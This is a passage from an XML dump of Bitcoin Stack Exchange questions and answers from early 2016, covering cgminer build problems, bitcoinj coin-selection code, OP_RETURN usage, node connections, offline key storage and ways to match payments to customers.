--with-system-libusb&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;checking for pthread_create in -lpthread... yes&#xA;checking for library containing addstr... no&#xA;configure: WARNING: Could not find curses library - if you want a TUI, install libncurses-dev or pdcurses-dev&#xA;checking for pkg-config... /usr/bin/pkg-config&#xA;checking pkg-config is at least version 0.9.0... yes&#xA;checking for LIBUSB... no&#xA;configure: error: Could not find usb library - please install libusb-1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;libusb is part of systemd package and my system has latest installed.&#xA;checked from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo dnf upgrade systemd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;command returned &lt;em&gt;Nothing to do.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please help where i could be going wrong in setting up CGMiner ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I tried bfgminer, but ended up in errors.&lt;/p&gt;&#xA;" OwnerUserId="32660" LastActivityDate="2016-02-04T05:10:07.867" Title="libudev error while configuring cgminer on fedora 22" Tags="|cgminer|antminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42732" PostTypeId="1" CreationDate="2016-02-03T20:39:17.987" Score="2" ViewCount="141" Body="&lt;p&gt;Suppose someone has single private key, and from that private key he made a public key for Bitcoin, Ethereum, Dogecoin, etc. - is it possible to figure out the private key having those multiple public keys?&lt;/p&gt;&#xA;" OwnerUserId="32668" LastActivityDate="2016-05-05T15:39:35.370" Title="Is it possible to exploit the use of the same private keys on different crypto coins?" Tags="|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42733" PostTypeId="1" CreationDate="2016-02-03T21:58:39.897" Score="0" ViewCount="1523" Body="&lt;p&gt;Previous answers say set up a new wallet with new address and transfer bitcoins to new address, is this the only way of doing it? I don't want to wait days for the new wallet to download blockchain and verify when I already have that on the Windows 7 machine.&lt;/p&gt;&#xA;" OwnerUserId="32669" LastActivityDate="2016-04-06T11:08:13.553" Title="How do I move my wallet from Windows 7 to a new Windows 10 machine?" Tags="|wallet|blockchain-wallet-app|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42734" PostTypeId="1" AcceptedAnswerId="42740" CreationDate="2016-02-04T00:51:31.503" Score="0" ViewCount="355" Body="&lt;p&gt;I'm looking into developing some Go software on Ethereum and I'm wondering - are there any API wrappers around for Ethereum (something like &lt;a href=&quot;https://github.com/btcsuite/btcrpcclient&quot; rel=&quot;nofollow&quot;&gt;BTCSuite's BTCRPCClient&lt;/a&gt; is for Bitcoin)? I know there is &lt;a href=&quot;https://github.com/ethereum/go-ethereum&quot; rel=&quot;nofollow&quot;&gt;a whole Go Ethereum implementation&lt;/a&gt;, but I'm looking for more lightweight way of interacting just with the JSON RPC server, rather than interacting with the whole network directly.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2016-02-04T08:42:38.487" Title="Are there Ethereum API wrappers?" Tags="|api|json-rpc|ethereum|" AnswerCount="1" CommentCount="4" ClosedDate="2016-02-04T22:30:23.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="42736" PostTypeId="2" ParentId="38947" CreationDate="2016-02-04T01:51:46.590" Score="4" Body="&lt;p&gt;I found the solution for this question. I used this class: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * This class implements a {@link org.bitcoinj.wallet.CoinSelector} which attempts to select all outputs&#xA; * from a designated address. Outputs are selected in order of highest priority.  Note that this means we may &#xA; * end up &quot;spending&quot; more priority than would be required to get the transaction we are creating confirmed.&#xA; */&#xA;&#xA;public class AddressBalance implements CoinSelector {&#xA;&#xA;    private Address addressToQuery;&#xA;&#xA;    public AddressBalance(Address addressToQuery) {&#xA;        this.addressToQuery = addressToQuery;&#xA;    }&#xA;&#xA;    @Override&#xA;    public CoinSelection select(Coin biTarget, List&amp;lt;TransactionOutput&amp;gt; candidates) {&#xA;        long target = biTarget.longValue();&#xA;        HashSet&amp;lt;TransactionOutput&amp;gt; selected = new HashSet&amp;lt;TransactionOutput&amp;gt;();&#xA;        // Sort the inputs by age*value so we get the highest &quot;coindays&quot; spent.&#xA;        // TODO: Consider changing the wallets internal format to track just outputs and keep them ordered.&#xA;        ArrayList&amp;lt;TransactionOutput&amp;gt; sortedOutputs = new ArrayList&amp;lt;TransactionOutput&amp;gt;(candidates);&#xA;        // When calculating the wallet balance, we may be asked to select all possible coins, if so, avoid sorting&#xA;        // them in order to improve performance.&#xA;        if (!biTarget.equals(NetworkParameters.MAX_MONEY)) {&#xA;            sortOutputs(sortedOutputs);&#xA;        }&#xA;        // Now iterate over the sorted outputs until we have got as close to the target as possible or a little&#xA;        // bit over (excessive value will be change).&#xA;        long totalOutputValue = 0;&#xA;        for (TransactionOutput output : sortedOutputs) {&#xA;            if (totalOutputValue &amp;gt;= target) break;&#xA;            // Only pick chain-included transactions, or transactions that are ours and pending.&#xA;            if (!shouldSelect(output)) continue;&#xA;            selected.add(output);&#xA;            totalOutputValue += output.getValue().longValue();&#xA;         }&#xA;        // Total may be lower than target here, if the given candidates were insufficient to create to requested&#xA;        // transaction.&#xA;        return new CoinSelection(Coin.valueOf(totalOutputValue), selected);&#xA;    }&#xA;&#xA;    static void sortOutputs(ArrayList&amp;lt;TransactionOutput&amp;gt; outputs) {&#xA;        Collections.sort(outputs, new Comparator&amp;lt;TransactionOutput&amp;gt;() {&#xA;            public int compare(TransactionOutput a, TransactionOutput b) {&#xA;                int depth1 = 0;&#xA;                int depth2 = 0;&#xA;                TransactionConfidence conf1 = a.getParentTransaction().getConfidence();&#xA;                TransactionConfidence conf2 = b.getParentTransaction().getConfidence();&#xA;                if (conf1.getConfidenceType() == TransactionConfidence.ConfidenceType.BUILDING)&#xA;                    depth1 = conf1.getDepthInBlocks();&#xA;                if (conf2.getConfidenceType() == TransactionConfidence.ConfidenceType.BUILDING)&#xA;                    depth2 = conf2.getDepthInBlocks();&#xA;                Coin aValue = a.getValue();&#xA;                Coin bValue = b.getValue();&#xA;                BigInteger aCoinDepth = BigInteger.valueOf(aValue.value).multiply(BigInteger.valueOf(depth1));&#xA;                BigInteger bCoinDepth = BigInteger.valueOf(bValue.value).multiply(BigInteger.valueOf(depth2));&#xA;                int c1 = bCoinDepth.compareTo(aCoinDepth);&#xA;                if (c1 != 0) return c1;&#xA;                // The &quot;coin*days&quot; destroyed are equal, sort by value alone to get the lowest transaction size.&#xA;                int c2 = bValue.compareTo(aValue);&#xA;                if (c2 != 0) return c2;&#xA;                // They are entirely equivalent (possibly pending) so sort by hash to ensure a total ordering.&#xA;                BigInteger aHash = a.getParentTransaction().getHash().toBigInteger();&#xA;                BigInteger bHash = b.getParentTransaction().getHash().toBigInteger();&#xA;                return aHash.compareTo(bHash);&#xA;            }&#xA;        });&#xA;    }&#xA;&#xA;    /** Sub-classes can override this to just customize whether transactions are usable, but keep age sorting. */&#xA;    protected boolean shouldSelect(TransactionOutput output) {&#xA;        Address outputToAddress = output.getScriptPubKey().getToAddress(addressToQuery.getParameters());&#xA;        try {&#xA;            // Check if output address matches addressToQuery and check if it can be spent.&#xA;            if(outputToAddress.equals(addressToQuery)) {&#xA;                if(output.isAvailableForSpending()) {&#xA;                    return isSelectable(output.getParentTransaction());&#xA;                }&#xA;            }&#xA;         } catch (Exception e) {&#xA;            e.printStackTrace();&#xA;         }&#xA;&#xA;         return false;&#xA;    }&#xA;&#xA;    public static boolean isSelectable(Transaction tx) {&#xA;        // Only pick chain-included transactions, or transactions that are ours and pending.&#xA;        TransactionConfidence confidence = tx.getConfidence();&#xA;        TransactionConfidence.ConfidenceType type = confidence.getConfidenceType();&#xA;        return type.equals(TransactionConfidence.ConfidenceType.BUILDING) || type.equals(TransactionConfidence.ConfidenceType.PENDING) &amp;amp;&amp;amp; confidence.getSource().equals(TransactionConfidence.Source.SELF) &amp;amp;&amp;amp; confidence.numBroadcastPeers() &amp;gt; 1;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: Use &lt;code&gt;Wallet.getBalance(CoinSelector)&lt;/code&gt;. Example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Coin addressBalance = wallet.getBalance(new AddressBalance(myBtcAddress));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27532" LastEditorUserId="27532" LastEditDate="2016-02-22T00:45:11.057" LastActivityDate="2016-02-22T00:45:11.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42737" PostTypeId="2" ParentId="38992" CreationDate="2016-02-04T01:55:10.680" Score="1" Body="&lt;p&gt;This has been an issue with their TOR service for over a year.  They claim that they're trying to fix the problem, but I don't believe them anymore.  They can't be this incompetent.  Their service is pretty much unusable.  If I knew of a decent alternative, I'd switch immediately and never use blockchain.info again.&lt;/p&gt;&#xA;" OwnerUserId="32673" LastActivityDate="2016-02-04T01:55:10.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42738" PostTypeId="2" ParentId="30517" CreationDate="2016-02-04T05:08:52.127" Score="1" Body="&lt;p&gt;I found this to be a problem when I installed electrum on ubuntu too. When I use auto-connect it doesn't seem to find a server it can connect too. The thing that worked for me is disabling auto connect and choosing a server manually. Now a lot of servers on the list don't actually work, so one trick I found to quickly find a working server is to scroll thru the list of servers, on the right of the server name is a number (see the picture below). If this number is large (50,000 or so), it seems like the server won't work. If the number is 1000 or less, then it works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KU9g6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KU9g6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32679" LastActivityDate="2016-02-04T05:08:52.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42739" PostTypeId="2" ParentId="42730" CreationDate="2016-02-04T05:10:07.867" Score="0" Body="&lt;p&gt;I was able to get cgminer to build the icarus extension on a fresh CentOS system like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;yum install git&#xA;git clone https://github.com/bitmaintech/cgminer&#xA;cd cgminer/&#xA;yum install -y autoconf make automake gcc gcc-c++ kernel-devel libcurl libcurl-devel&#xA;yum install libudev-devel&#xA;./autogen.sh&#xA;./configure --enable-icarus&#xA;make&#xA;./cgminer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I think you're missing the package &lt;code&gt;libudev-devel&lt;/code&gt;. (It might be named something different on Fedora 22 - I don't know.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-02-04T05:10:07.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42740" PostTypeId="2" ParentId="42734" CreationDate="2016-02-04T08:42:38.487" Score="3" Body="&lt;p&gt;Not yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've just revamped the server side RPC internals in develop and are still ironing out some quirks. I can imagine we would soon-ish start working towards the directions of providing some Go client APIs, but we're not there yet. If you just need a few specific ones, they are relatively easy to implement (here's a few we needed for a hackathon last week &lt;a href=&quot;https://github.com/gophergala2016/etherapis/blob/master/etherapis/geth/api.go&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gophergala2016/etherapis/blob/master/etherapis/geth/api.go&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="32684" LastActivityDate="2016-02-04T08:42:38.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42742" PostTypeId="2" ParentId="40477" CreationDate="2016-02-04T12:22:42.960" Score="1" Body="&lt;p&gt;you could check thepubkey hash in the transaction outputs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this code for exemple check if an adresse belonging to your wallet is in the output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Address to= null;&#xA;        boolean tome= false;&#xA;        //from = tx.getInputs().get(0).getFromAddress();&#xA;        to=tx.getOutputs().get(0).getScriptPubKey().getToAddress(Constants.NETWORK_PARAMETERS);&#xA;tome= w.isPubKeyHashMine(from.getHash160());&#xA;        return tome;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30396" LastEditorUserId="30396" LastEditDate="2016-02-04T12:27:43.407" LastActivityDate="2016-02-04T12:27:43.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42744" PostTypeId="2" ParentId="40557" CreationDate="2016-02-04T13:30:59.067" Score="1" Body="&lt;p&gt;You should get the list of inputs, this is a snippet code using BitcoinJ to get input and outputs addresses:                    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;List&amp;lt;TransactionInput&amp;gt; inputs = tx.getInputs();&#xA;List&amp;lt;TransactionOutput&amp;gt; outputs = tx.getOutputs();&#xA;&#xA;for (TransactionOutput out : outputs) {&#xA;   System.out.println(&quot;addresses in output &quot; + out.getAddressFromP2PKHScript(params));&#xA;}&#xA;for (TransactionInput in : inputs) {&#xA;    System.out.println(&quot;addresses in input &quot; + in.getFromAddress());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30396" LastEditorUserId="23340" LastEditDate="2016-02-05T15:00:47.720" LastActivityDate="2016-02-05T15:00:47.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42748" PostTypeId="2" ParentId="41911" CreationDate="2016-02-04T20:01:15.660" Score="1" Body="&lt;p&gt;The other nodes can verify it by hashing the block using the supposed solution nonce, and if it returns the same hash as the solution, and it meets the difficulty restrictions (correct number of zeroes at the beginning), the that block is confirmed as solved.&lt;/p&gt;&#xA;" OwnerUserId="32266" LastEditorUserId="32266" LastEditDate="2019-07-10T18:27:20.690" LastActivityDate="2019-07-10T18:27:20.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42749" PostTypeId="2" ParentId="39347" CreationDate="2016-02-04T20:30:30.597" Score="3" Body="&lt;p&gt;Bitcoin is for transactions, not storage. A bitcoin-derived system like Ethereum can be used to implement this. StorJ or FileCoin are special blockchain-like systems just for storage. &lt;/p&gt;&#xA;" OwnerUserId="25288" LastActivityDate="2016-02-04T20:30:30.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42750" PostTypeId="2" ParentId="41911" CreationDate="2016-02-04T20:38:13.390" Score="-1" Body="&lt;p&gt;Let's say block #396716 has been just mined. The participants verify:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is the block really next? Simply look if the previous block is already accepted. Each block contains the ID of previous block.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Has miner performed enough work? Because difficulty is now 120 this means there should be 120÷8 = 15 zeroes in the block ID.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;00000000000000000277e25b11ccc9dc44a8563de315c454507522dae5a0d204&lt;/p&gt;&#xA;&#xA;&lt;p&gt;000000000000000 &amp;lt;- 15 zeroes. Therefore miner spent enough work.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Is the timestamp correct? Just test if it's near current time.&lt;/li&gt;&#xA;&lt;li&gt;Verify all transactions inside the block. This includes checking if miner sent himself the correct reward (currently 25 BTC). Next, all transactions are checked, if amounts match, signatures correct, etc..&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-02-04T20:38:13.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42751" PostTypeId="2" ParentId="16725" CreationDate="2016-02-04T20:38:27.937" Score="1" Body="&lt;p&gt;Most exchanges need your identity information. If you do not want to submit that information, your best bet is face to face or OTC trading with other bitcoiners. If you build up a good reputation trading OTC, then you can trade freely with trusted contacts, but the amounts you can trade will probably be smaller, and at a premium.&lt;/p&gt;&#xA;" OwnerUserId="5568" LastActivityDate="2016-02-04T20:38:27.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42752" PostTypeId="2" ParentId="16725" CreationDate="2016-02-04T20:45:17.553" Score="0" Body="&lt;p&gt;Online fiat exchanges can be heavily regulated. To avoid this inconvenience, when you are for example just buying small amount, you can buy over the counter from a friend. Simply send or give the fiat to a friend and recieve the bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method is to use a bitcoin cash machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-02-04T20:45:17.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42753" PostTypeId="2" ParentId="41717" CreationDate="2016-02-04T20:50:54.793" Score="-1" Body="&lt;p&gt;ASIC only does the most performance-expensive thing. It solves the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else like preparing the block, checking payments, sending the solution to others, can be done by a standard computer.&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-02-04T20:50:54.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42754" PostTypeId="1" CreationDate="2016-02-04T22:12:29.617" Score="1" ViewCount="41" Body="&lt;p&gt;There were a few ideas on how to make the blockchain hierarchical, and also splitting it to allow for splits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any proposed/non implemented ideas that accomplish this with Bitcoin or any technology?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2016-02-04T22:12:29.617" Title="What blockchain (or similar technologies) allow for &quot;splitting&quot; the network, offline?" Tags="|blockchain|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42756" PostTypeId="2" ParentId="39347" CreationDate="2016-02-05T00:34:58.310" Score="4" Body="&lt;p&gt;You could use the &lt;code&gt;OP_RETURN&lt;/code&gt; operation in your pubkey script. It gives you 80 bytes of free data (I think it is upgraded from 40 bytes recently you could check).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are a developer you could create a program based on bitcoinj which helps you to add an &lt;code&gt;OP_RETURN&lt;/code&gt; operation to a transaction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Script script = new ScriptBuilder().op(ScriptOpCodes.OP_RETURN).data(&quot;your message&quot;.getBytes()).build();&#xA;                tx.addOutput(Transaction.MIN_NONDUST_OUTPUT, script);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you could also look at these solutions :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/coinspark/python-OP_RETURN&quot; rel=&quot;nofollow&quot;&gt;python OP_RETURN&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/coinspark/php-OP_RETURN&quot; rel=&quot;nofollow&quot;&gt;php-OP_RETURN&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="30396" LastEditorUserId="120" LastEditDate="2016-02-07T15:03:12.777" LastActivityDate="2016-02-07T15:03:12.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42757" PostTypeId="1" AcceptedAnswerId="42760" CreationDate="2016-02-05T01:44:42.687" Score="7" ViewCount="1223" Body="&lt;p&gt;First of all, this isn't a problem I am having, I'm just curious how this works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run your node with port 8333 open, you'll receive a large amount of connections after being online for a while. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run your node without port 8333, you still have connections, but it usually won't exceed around 7 connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My stupid simpleton logic tells me I should have no connections if that port isn't open, but that clearly isn't the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my specific questions are:&lt;br&gt;&#xA;How do I have any connections at all without using port 8333?&lt;br&gt;&#xA;If it is using another port, why is the limit at 7?&lt;br&gt;&#xA;The node still relays txs to peers, just less of them, so I'm assuming it is not a security issue?&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-02-05T03:19:02.933" Title="How do I still have connections without forwarding port 8333?" Tags="|nodes|peers|port|full-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42758" PostTypeId="1" CreationDate="2016-02-05T01:47:59.693" Score="3" ViewCount="212" Body="&lt;p&gt;I have a computer that is 100% disconnected from the internet. I'd like to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate my own private keys by dice rolls;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import them on the offline computer wallet;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Send coins to their addresses;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Spend those coins by signing the transaction offline and sending to the network from another connected computer, i.e., the online computer never has access to the private keys.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there any Bitcoin wallet that allows this use case?&lt;/p&gt;&#xA;" OwnerUserId="32710" LastActivityDate="2016-02-05T14:35:41.220" Title="Is there any wallet that allows safely storing private keys in an offline computer?" Tags="|wallet|security|private-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42759" PostTypeId="2" ParentId="42758" CreationDate="2016-02-05T02:03:47.967" Score="0" Body="&lt;p&gt;Combine the use of bitaddress.org and coinb.in.  You can download both sites locally, or clone from github and put them on a thumb drive. Use bitaddress to convert your dice rolls to WIF using the 'wallet details' tab, and then you can use coinb.in to sign the transaction offline when you are ready to spend. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-02-05T02:03:47.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42760" PostTypeId="2" ParentId="42757" CreationDate="2016-02-05T03:19:02.933" Score="6" Body="&lt;p&gt;When your node is not accepting inbound connections (either because there's NAT in the way or because you passed &lt;code&gt;-listen=0&lt;/code&gt; to Bitcoin) it still makes &quot;outbound connections.&quot; These are connections to other Bitcoin nodes that are listening on a public port. Your node makes a maximum of 8 outbound connections. (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/2cdbf28cf395b110fe9dcfa1d27a45dfcf4c6f2b/src/net.cpp#L62&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you make an outbound connection, your router notices that you opened the connection, and forwards any reply packets to you. See &lt;a href=&quot;https://networkengineering.stackexchange.com/questions/12540/how-nat-portforwarding-tcp-ip-works&quot;&gt;How NAT / PortForwarding / TCP/IP works?&lt;/a&gt; Your router does the same thing when you browse the web.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:10.470" LastActivityDate="2016-02-05T03:19:02.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42761" PostTypeId="5" CreationDate="2016-02-05T11:32:15.300" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-02-05T11:32:15.300" LastActivityDate="2016-02-05T11:32:15.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42762" PostTypeId="4" CreationDate="2016-02-05T11:32:15.300" Score="0" Body="Smart Contracts are small computer programs stored inside the Blockchain that can update themselves, store their own state, and own digital assets. " OwnerUserId="6441" LastEditorUserId="2306" LastEditDate="2016-02-06T20:05:17.267" LastActivityDate="2016-02-06T20:05:17.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42763" PostTypeId="1" AcceptedAnswerId="42771" CreationDate="2016-02-05T13:50:36.393" Score="4" ViewCount="618" Body="&lt;p&gt;One question I'm not able to properly answer when asked is&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;How exactly can  the blockchain verify the identity of the user without a centralized trusted party such as VeriSign?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I know this is done in a decentralized way and the ECDSA algorithm should do the trick, but other applications still need a centralized trusted party in order to verify if the user is really who he says he is even when they're using ECDSA as well.&lt;/p&gt;&#xA;&lt;p&gt;But how exactly can I guarantee that nobody can pretend to be someone else and spend their bitcoin instead?&lt;/p&gt;&#xA;&lt;p&gt;Yes, I know the basic of how public-key cryptography works, but Information Security is not strong with me.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Edit: let me explore the question further.&lt;/h2&gt;&#xA;&lt;p&gt;Suppose I own a coffee house with intense flow of customers. How can I be sure about costumers that had already paid and others how didn't pay?&lt;/p&gt;&#xA;&lt;p&gt;Let's say that Bob and Anna are my customers. Bob orders a Macchiato, Anna orders a Capuccino. Both coffees have the same price. How can I know which payment came from each one of them?&lt;/p&gt;&#xA;" OwnerUserId="21351" LastEditorUserId="5406" LastEditDate="2021-02-04T17:50:55.810" LastActivityDate="2021-05-05T09:59:09.443" Title="How does one checks which customer made a payment?" Tags="|address|security|payment|receiving|identity|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42764" PostTypeId="2" ParentId="42758" CreationDate="2016-02-05T14:35:41.220" Score="1" Body="&lt;p&gt;Armory will allow you to do everything except #1. That, you can do with a livecd:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.swansontec.com/bitcoin-dice.html&quot; rel=&quot;nofollow&quot;&gt;http://www.swansontec.com/bitcoin-dice.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-02-05T14:35:41.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42765" PostTypeId="2" ParentId="42732" CreationDate="2016-02-05T14:38:22.120" Score="1" Body="&lt;p&gt;It depends on how many times that private key has been used and whether the attacker has access to a side channel. Practically speaking if the attacker does not have access to a side channel and does not know a vulnerability in the secp256k1 curve (there are no known ones), then no, it's not practically possible to figure out the private key.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-02-05T14:38:22.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42766" PostTypeId="2" ParentId="42763" CreationDate="2016-02-05T14:40:45.043" Score="5" Body="&lt;p&gt;The payer's identity is often irrelevant in Bitcoin payments. The important check is that the payment was authorized by the owner. In Bitcoin, whoever controls the private key owns the funds, and therefore it is sufficient that the transaction was signed with the correct private key (which is a given for a valid transaction).&lt;/p&gt;&#xA;&lt;p&gt;What's important to the shop owner is to know that they got paid. As Bitcoin payments are irreversible, it's not important whether Bob gives his name, just like the barista wouldn't care to get Bob's name when Bob walks into the café and pays for a Macchiato with cash.&lt;/p&gt;&#xA;&lt;p&gt;To distinguish payments, you &lt;strong&gt;give out a new receiving address for each invoice&lt;/strong&gt;. That way, when an address receives money, you know which invoice was settled. Luckily, the Bitcoin address space is sufficiently huge that &lt;a href=&quot;https://bitcoin.stackexchange.com/q/8804/5406&quot;&gt;everyone can make as many addresses as they need&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2021-01-25T15:00:38.133" LastActivityDate="2021-01-25T15:00:38.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42767" PostTypeId="2" ParentId="42763" CreationDate="2016-02-05T14:41:16.973" Score="2" Body="&lt;p&gt;The only practical way to verify the identity of a user is to make the user sign something with their private key. The only identity information that you get at that point is that the user has access to the private key. On the bitcoin blockchain, the owner of the private key is the only one that can move the bitcoins locked to that key because a signature is needed to do so. Essentially, if you try to pretend to be someone else, you won't succeed since you won't be able to produce a signature.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-02-05T14:41:16.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42769" PostTypeId="1" CreationDate="2016-02-05T15:19:32.660" Score="0" ViewCount="55" Body="&lt;p&gt;Respectfully requesting to look into this transaction. Did it got confirmed or not? is been 5 days now.&#xA;Thanks&#xA;18MJieFJcDiFbAsvSxe5iCaBAYsikgJta6&lt;/p&gt;&#xA;" OwnerUserId="32724" LastActivityDate="2016-02-05T16:39:41.077" Title="BTC transaction issues" Tags="|blockchain.info|" AnswerCount="1" CommentCount="2" ClosedDate="2016-02-05T17:47:25.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="42770" PostTypeId="2" ParentId="42763" CreationDate="2016-02-05T15:34:43.070" Score="3" Body="&lt;p&gt;Different orders have different Bitcoin payment addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order is paid when the address in question receives the requested amount of Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2016-02-05T15:34:43.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
